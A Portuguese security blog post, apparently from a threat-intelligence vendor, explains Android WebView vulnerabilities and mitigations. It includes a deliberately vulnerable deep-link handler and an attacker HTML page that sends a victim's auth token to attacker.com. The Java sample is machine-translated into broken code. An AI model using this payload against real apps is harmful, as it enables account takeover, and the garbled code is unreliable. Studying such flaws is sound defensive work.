Voltar
Inteligência do adversário
Tabela de conteúdo

O que é um WebView

O WebView é uma maneira simples, mas poderosa, de apresentar conteúdo baseado na Web no Android. Ele é usado como uma instância dedicada do navegador da Web de um aplicativo que pode fornecer páginas da Web aos usuários. O WebView foi lançado pela primeira vez como parte do Android 4.4. Desde o Android 5.0, ele é incluído como um aplicativo do sistema.

Aplicações do WebView:

  • Estruturas híbridas, como Cordova ou PhoneGap (exceto Flutter), agrupam aplicativos HTML/JavaScript no contêiner nativo do Android e usam o WebView para fazê-lo funcionar.
  • Aplicativos, como aplicativos bancários, usam o WebView para apresentar conteúdo como “termos e condições”, que mudam constantemente.
  • Empresas com orçamentos pequenos podem criar aplicativos móveis que renderizam conteúdo da Web usando o WebView.

Qual é o problema?

Ameaça

Vulnerabilidades do WebView que permitem aos agentes de ameaças:

    • Carregar URLs arbitrários
    • Execute o código JavaScript
    • Execute o código remotamente

Impacto

  • O vazamento de tokens de autenticação
  • Acesso às interfaces JavaScript
  • Ataques a manipuladores internos
  • Roubo de arquivos arbitrários por meio de consultas XHR
  • Acesso aos cookies
  • A exploração de provedores de conteúdo

Mitigação

  • Valide a origem (host e esquema) dos links externos carregados no WebView.
  • Certifique-se de que o JavaScript chamado usando dados obtidos externamente seja higienizado.

Como explorar

Usaremos o seguinte arquivo AndroidManifest.xml para entender como os agentes de ameaças podem explorar o WebView

<activity android:name=” .DeeplinkActivity” >

<intent-filter>

<action android:name=” android.intent.action.VIEW” />

<category android:name=” android.intent.category.DEFAULT” />

<data android:scheme=” myapp” android:host=” deeplink” />

</intent-filter>

</activity>

Vamos supor que esse arquivo possa processar links diretos do WebView:

a classe pública DeepLinkActivity estende a atividade {

vazio protegido onCreate (pacote savedInstanceState) {

super.onCreate (SavedInstanceState);

manipule DeepLink (getIntent ());

}

vazio privado handleDeepLink (intenção de intenção) {

Uri deeplink = intent.getData ();

if (“/webview” .equals (deeplink.getPath ())) {

URL da string = deeplink.getQueryParameter (“url”);

HandleWebViewDeepLink (url);

}

}

vazio privado handleWebViewDeepLink (string url) {

WebView WebView =...;

Configurar WebView (WebView);

webview.loadURL (url, getAuthHeaders ());

}

Mapa privado<String, String> getAuthHeaders () {

<String, String>Cabeçalhos do mapa = novo HashMap<> ();

headers.put (“Autorização”, getUserToken ());

cabeçalhos de retorno;

}

}

Nesse caso, um invasor pode realizar um ataque remoto para obter o token de autenticação do usuário criando uma página com o seguinte código:

<html>

<body style=” text-align: center;” >

<h1><a href=” myapp: //deeplink/webview? url =https://attacker.com/“>Clique em mim!</a></h1>

</body></html>

Quando a vítima clicar no botão “clique em mim”, o aplicativo vulnerável abrirá https://attacker[.]com, no WebView, junto com o cabeçalho de autorização. O atacante pode usar os tokens de autenticação roubados para obter acesso total à conta da vítima.

Referências

Nenhum item encontrado.

Blogs relacionados